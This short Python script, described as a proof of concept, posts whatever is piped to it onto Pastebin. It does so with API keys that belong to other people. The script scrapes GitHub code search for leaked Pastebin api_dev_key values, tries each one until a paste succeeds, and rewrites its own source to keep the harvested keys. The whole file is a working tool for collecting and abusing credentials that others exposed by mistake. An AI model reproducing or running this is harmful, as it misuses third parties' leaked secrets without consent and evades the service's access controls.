a dumb poc - worked better when py2.7 was a thing

pastebin.py

import sys
import os
from urllib.request import urlopen
from urllib.parse import urlencode
from time import time
from copy import copy
from re import findall

PASTEBIN_URL = 'https://pastebin.com/api/api_post.php'
PASTEBIN_LOGIN_URL = 'https://pastebin.com/api/api_login.php'

keys = []

pastebin_data = {
    b'api_dev_key': b'',
    b'api_paste_code': sys.stdin.read().encode(),
    b'api_paste_expiry_date': b"1H",
    b'api_paste_format': b"text",
    b'api_user_key': b"",
    b'api_paste_private': 1,
    b'api_option': b'paste',
    b'api_paste_name': str(int(100 * time()) % 255).encode()
}

visited = 0

while True:
    old_keys = copy(keys)
    update = False
    if len(keys) < 2:
        kp = "https://github.com/search?langOverride=%5C&o=desc&q=api_dev_key+http%3A%2F%2Fpastebin.com%2Fapi%2Fapi_post.php&s=indexed&type=Code&p=" + str(visited)
        visited += 1
        kp = findall(b'[a-f0-9]{32}', urlopen(kp).read())
        kp = list(set(kp))
        for k in kp:
            keys.append(k)
        update = True
    pastebin_data[b'api_dev_key'] = keys.pop()
    res = urlopen(PASTEBIN_URL, urlencode(pastebin_data).encode()).read().replace(b'.com/', b'.com/raw/')
    if b'http' in res:
        print(res.decode())
        keys = [pastebin_data[b'api_dev_key']]
        break
    else:
        if b'invalid' in res:
            print(pastebin_data[b'api_dev_key'], 'from page %d failed' % visited)
            update = True
        else:
            print(visited, pastebin_data[b'api_dev_key'], res.decode())
    if update:
        a = open(sys.argv[0]).read().replace(str(old_keys), str(keys))
        open(sys.argv[0], 'w').write(a)